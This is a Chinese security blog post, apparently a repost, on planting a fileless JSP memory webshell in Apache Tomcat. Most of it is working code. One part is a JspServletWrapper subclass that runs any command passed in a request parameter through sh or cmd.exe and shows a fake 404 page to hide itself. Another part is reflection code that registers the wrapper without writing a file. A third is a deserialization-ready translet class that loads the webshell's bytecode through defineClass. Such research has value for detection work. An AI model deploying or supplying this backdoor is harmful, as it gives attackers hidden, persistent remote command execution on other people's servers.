本文发于先知社区:https://xz.aliyun.com/t/11020
文章介绍了两种实现jsp型内存马内存驻留的思路:
- 反射关闭development属性,即从开发模式转为生产模式
- 修改Options对象的modificationTestInterval属性,即修改Tomcat检查JSP更新的时间间隔
这两种都是属于在开发模式下才需要进行的修改,生产环境对JSP的检查是通过checkInterval属性,不过由于一般遇到的都是开发模式,便不再深究。
文章中介绍的思路总的来说都是通过中断tomcat对JSP的检查机制,防止初次加载后再产生编译文件,而初次加载的JSP文件会产生落地行为,因为JspServlet#serviceJspFile
会通过查找JSP文件是否存在再装载wrapper
然后处理JSP Servlet默认的JspServletWrapper类也会因为mustCompile初始值为true对JSP compile,这也是上文中师傅对后续JSP检查提出绕过的地方。
那么我们是否可以换一种思路,jsp也是一种特殊的servlet型,所以就用servlet那一套,先上一段servlet型内存马代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
Servlet servlet = new ServletTest(); // 继承Servlet类的子类
String name = servlet.getClass().getSimpleName();
org.apache.catalina.Wrapper newWrapper = context.createWrapper();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
context.addChild(newWrapper);
context.addServletMappingDecoded("/cmd",name);
%>
|
可以看到基本逻辑是获取上下文对象StandardContext然后动态添加映射规则,因此猜测jsp是否也可以这样做?
激情动调一遍,可以在JspServlet#serviceJspFile
方法中发现以下代码:
既然我们的目标是不产生文件落地,那么就只需要关注红框代码就可以了,先从JspRuntimeContext中寻找访问地址对应的处理类(一般都是图中的JspServletWrapper类),然后跳过判断调用service方法。到这里已经和servlet很像了,所以自然而然地就会想到如果可以控制JspRuntimeContext中的内容是不是就可以实现无文件落地的效果,从上图可以发现JspRuntimeContext对象确实提供了addWrapper(String jspUri, JspServletWrapper jsw)
方法,两个参数分别是访问地址和处理类。
至此编写思路就呼之欲出了,先定义一个继承JspServletWrapper类的子类,覆写service方法免于执行compile流程,接着控制JspRuntimeContext#addWrapper
方法绑定映射规则:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
|
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
class MemJspServletWrapper extends JspServletWrapper {
public MemJspServletWrapper(ServletConfig config, Options options, JspRuntimeContext rctxt) {
super(config, options, "", rctxt); // jspUri随便取值
}
@Override
public void service(HttpServletRequest request, HttpServletResponse response, boolean precompile) throws ServletException, IOException, FileNotFoundException {
String cmd = request.getParameter("jspservlet");
if (cmd != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")){
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = response.getWriter();
out.println(output);
out.flush();
out.close();
} else {
// 伪造404页面
String msg = Localizer.getMessage("jsp.error.file.not.found", new Object[]{"/tyskill.jsp"});
response.sendError(404, msg);
}
}
}
%>
<%
//从request对象中获取request属性
Field _request = request.getClass().getDeclaredField("request");
_request.setAccessible(true);
Request __request = (Request) _request.get(request);
//获取MappingData
MappingData mappingData = __request.getMappingData();
//获取Wrapper
Field _wrapper = mappingData.getClass().getDeclaredField("wrapper");
_wrapper.setAccessible(true);
Wrapper __wrapper = (Wrapper) _wrapper.get(mappingData);
//获取jspServlet对象
Field _jspServlet = __wrapper.getClass().getDeclaredField("instance");
_jspServlet.setAccessible(true);
Servlet __jspServlet = (Servlet) _jspServlet.get(__wrapper);
// 获取ServletConfig对象
Field _servletConfig = __jspServlet.getClass().getDeclaredField("config");
_servletConfig.setAccessible(true);
ServletConfig __servletConfig = (ServletConfig) _servletConfig.get(__jspServlet);
//获取options中保存的对象
Field _option = __jspServlet.getClass().getDeclaredField("options");
_option.setAccessible(true);
EmbeddedServletOptions __option = (EmbeddedServletOptions) _option.get(__jspServlet);
// 获取JspRuntimeContext对象
Field _jspRuntimeContext = __jspServlet.getClass().getDeclaredField("rctxt");
_jspRuntimeContext.setAccessible(true);
JspRuntimeContext __jspRuntimeContext = (JspRuntimeContext) _jspRuntimeContext.get(__jspServlet);
JspServletWrapper memjsp = new MemJspServletWrapper(__servletConfig, __option, __jspRuntimeContext);
__jspRuntimeContext.addWrapper("/tyskill.jsp", memjsp);
%>
|
既然要无文件落地,肯定不能通过JSP来注入内存马,还是应该通过反序列化来注入,所以接下来就要解决request隐式对象的获取问题,不过进行一些尝试之后没办法从正常Servlet获得的Request对象来获取JspServlet对象,因此只能掏出https://github.com/c0ny1/java-object-searcher寻找类
1
2
3
4
5
6
7
8
|
java.util.List<me.gv7.tools.josearcher.entity.Keyword> keys = new java.util.ArrayList<>();
keys.add((new me.gv7.tools.josearcher.entity.Keyword.Builder()).setField_type("JspServlet").build());
keys.add((new me.gv7.tools.josearcher.entity.Keyword.Builder()).setField_type("JspRuntimeContext").build());
me.gv7.tools.josearcher.searcher.SearchRequstByBFS searcher = new me.gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.currentThread(),keys);
searcher.setIs_debug(true);
searcher.setMax_search_depth(50);
searcher.setReport_save_path("E:\\tmp");
searcher.searchObject();
|
最后找到了两条可获取JspServlet的方法,挑一条编写,代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
|
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Container;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import org.apache.jasper.EmbeddedServletOptions;
import org.apache.jasper.Options;
import org.apache.jasper.compiler.JspRuntimeContext;
import org.apache.jasper.servlet.JspServletWrapper;
import javax.servlet.Servlet;
import javax.servlet.ServletConfig;
import java.util.HashMap;
public class InjectToJspServlet extends AbstractTranslet {
private static final String jsppath = "/tyskill.jsp";
public InjectToJspServlet() {
try {
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources();
StandardContext standardContext = (StandardContext) standardroot.getContext();
//从 StandardContext 基类 ContainerBase 中获取 children 属性
HashMap<String, Container> _children = (HashMap<String, Container>) getFieldValue(standardContext,
"children");
//获取 Wrapper
Wrapper _wrapper = (Wrapper) _children.get("jsp");
//获取jspServlet对象
Servlet _jspServlet = (Servlet) getFieldValue(_wrapper, "instance");
// 获取ServletConfig对象
ServletConfig _servletConfig = (ServletConfig) getFieldValue(_jspServlet, "config");
//获取options中保存的对象
EmbeddedServletOptions _option = (EmbeddedServletOptions) getFieldValue(_jspServlet, "options");
// 获取JspRuntimeContext对象
JspRuntimeContext _jspRuntimeContext = (JspRuntimeContext) getFieldValue(_jspServlet, "rctxt");
String clazzStr = "..."; // 上面代码中MemJspServletWrapper类字节码的base64编码字符串
byte[] classBytes = java.util.Base64.getDecoder().decode(clazzStr);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class,
int.class);
method.setAccessible(true);
Class clazz = (Class) method.invoke(classLoader, classBytes, 0, classBytes.length);
JspServletWrapper memjsp = (JspServletWrapper) clazz.getDeclaredConstructor(ServletConfig.class, Options.class,
JspRuntimeContext.class).newInstance(_servletConfig, _option, _jspRuntimeContext);
_jspRuntimeContext.addWrapper(jsppath, memjsp);
} catch (Exception ignored) {}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
private static Object getFieldValue(Object obj, String fieldName) throws Exception {
java.lang.reflect.Field declaredField;
java.lang.Class clazz = obj.getClass();
while (clazz != Object.class) {
try {
declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(obj);
} catch (Exception ignored){}
clazz = clazz.getSuperclass();
}
return null;
}
}
|
不足:
- 由于jsp的servlet处理类一般都是JspServletWrapper类,所以对于这种自己实现JspServletWrapper类的方法很容易就可以被查杀
- 由于jsp的局限性,在MVC架构的背景下应用场景也不大
版本差异:
tomcat7:<%@ page import="org.apache.tomcat.util.http.mapper.MappingData" %>
tomcat8/9:<%@ page import="org.apache.catalina.mapper.MappingData" %>